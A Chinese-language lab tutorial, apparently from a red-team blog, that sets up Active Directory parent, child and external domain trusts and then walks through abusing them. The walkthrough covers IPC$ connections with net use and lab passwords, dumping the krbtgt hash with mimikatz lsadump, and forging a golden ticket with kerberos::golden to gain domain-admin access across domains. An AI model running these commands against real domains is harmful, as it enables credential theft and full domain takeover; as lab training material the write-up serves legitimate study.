在前面域环境熟悉中已经简单介绍过信任域的概念,接下来就深入讨论域之间的信任关系,网络拓扑图如下,要实现两个域之间的访问就需要建立域信任关系,而在子域和父域之间同样如此
首先在原来的基础上增加一个新域,也就是外域external.com,网络配置如下
IP : 10.10.10.100
子网掩码:255.255.255.0
默认网关:10.10.10.1
DNS:10.10.10.10
根域名:external.com
还原模式密码:External.com
域信任关系建立
建立正向查找区域
首先,为了让父域控能解析外域的DNS,需要到主域控的DNS配置里添加正向查找的区域
选择“存根区域”,因为现在创建查找区域的主要作用是让父域控解析外域的DNS,点击下一步
选择默认下一步
输入外域的域名
添加外域的IP地址或者DNS名称
点击下一步,最后点击完成即可
建立域与外域之间的信任关系
右键域,点击属性,在信任出新建信任关系,点击下一步
输入对方域的信任dns名称或者netbios名称(netbios名称默认为域名去掉com),点击下一步
选择建立外部信任域,点击下一步
选择外域与主域建立双向信任关系,方便后续外域登陆主域用户,主域登陆外域用户
选择“此域和指定的域”,点击下一步输入外域主域控的账号密码
选择“全域性身份认证”,然后默认点击下一步
到这就成功建立域信任关系了,然后选择两个“是,确认传入信任”
域间用户访问
已知前提:在创建子域的时候,默认跟主域建立了信任关系,但子域之间没有信任关系,而且外域和主域建立了信任关系,但是没有和子域创建信任关系
已知用户:
external.com:
external\administrator---admin!@#45
external\user001---user!@#45
redteam.com:
redteam\administrator---admin!@#45
redteam\web2012---saul!@#45
saul.redteam.com:
saul0\administrator---admin!@#45
saul0\web011---web!@#45
saul1.redteam.com
saul10\administrator---admin!@#45
saul10\user001---user!@#45
父域与子域之间
直接访问
子域成员机直接访问主域的域控账号,登陆成功,拥有域控的权限
子域成员机访问主域的域成员,登陆成功,拥有主域普通用户权限
主域成员机访问子域用户,登陆成功,权限为子域用户权限
主域成员机访问子域的域控账号,登陆成功,权限为子域控权限
IPC$方法
子域控0使用命令访问主域控的账号,并且在子域控中使用dir访问主域控C盘下的文件,访问成功
net use \\10.10.10.10 "admin!@#45" /user:"redteam\administrator" /persisten:yes
dir \\10.10.10.10\c$
在子域的成员机上(saul0\web011)使用主域控账号访问主域控的C盘文件,访问成功,此时的账号为主域控
使用父域成员机(redteam\web2012)使用子域控账号访问子域控主机,此时的权限为子域控
同理,使用子域控成员机访问主域控的成员机,账号为普通用户,无法访问
无法建立连接的原因:未开启139、445端口,IPC$利用条件为开启了IPC服务且139或445端口开放
建立IPC非空链接(与上面同理)
主域的成员机与子域控建立ipc$连接,此时为子域控账号
net use \\10.10.10.10\ipc$ "admin!@#45" /user:"redteam\administrator"
子域成员机与主域控建立ipc$连接,此时为主域控权限
黄金票据
黄金票据利用的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH值(域控主机上)
4、伪造任意用户名 (域用户)
适用场景:
黄金票据是身份票据,黄金票据的攻击行为是指攻击者绕过了AS身份认证服务。
由于有些原因导致对域管理权限的丢失,但好在还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码
在正常情况下krbtgt用户的哈希值只会在管理域管主机上才会有,普通域用户上是没有krbtgt哈希的,也就是说不拿到域管是看不到krbtgt哈希。
先拿到域管的权限才能看到krbtgt哈希,才能实现黄金票据传递
伪造黄金票据
1、先拿到krebtgt用户的NTLM哈希值(域控主机操作)
mimikatz
工具必须以管理员身份运行(system权限)
关闭防火墙,上传mimikatz工具到主域控上,以管理员身份打开cmd,cd到mimikatz目录下,允许下面的命令
mimikatz.exe
privilege::debug
lsadump::lsa /patch //列出域管理员账户的哈希值
f378f4337c9be0dbcbc206eee52e329c //krbtgt用户 NTLM 哈希值
S-1-5-21-877640343-1273128085-3257247339 //域的SID值
使用命令查看父域控下的SID
//生成黄金票据(伪造的黄金票据命令)
kerberos::golden /user:administrator /domain:redteam.com /sid:S-1-5-21-877640343-1273128085-3257247339 /krbtgt:f378f4337c9be0dbcbc206eee52e329c /sid:S-1-5-21-2605341513-1769712340-2994387954-500 /ptt
user //需要伪造的域管理员用户
domain //域名称
sid //SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
ticket //生成的票据名称
其他命令:
kerberos::purge //清除票据
kerberos::ptt ticket.kirbi //导入票据
将普通用户提升为主域控账户
当子域中用户机使用ipc连接不知道主域控密码时,是无法访问主域控主机资源的,这时候将黄金票据导入就可以解决这个问题
使用子域中任意成员机登陆域控账号,或者登陆成员账号,但是知道子域控账号密码,在管理员打开cmd时输入账号密码,管理员身份打开cmd,首先查看该机器的用户为子域控
接着将主域控得到的票据命令导入该机器里面
导入成功后就可以不用输入密码来访问主域控主机的文件夹
net use \\redteam.com\c$
普通金票的局限性
一个域树中分为redteam.com根域和saul0.redteam.com子域,如果在saul0.redteam.com子域中我们拿到了对应的域控中存储的krgrbt的账户和对应的密码hash,利用krbtgt的密码HASH值生成黄金票据会具有一定的局限性,也就是被限制在当前域内访问。但是我们如果拿到对应的主域控的krgrbt对应的HASH值。我们就能实现跨域的黄金票据。实现控制整个域。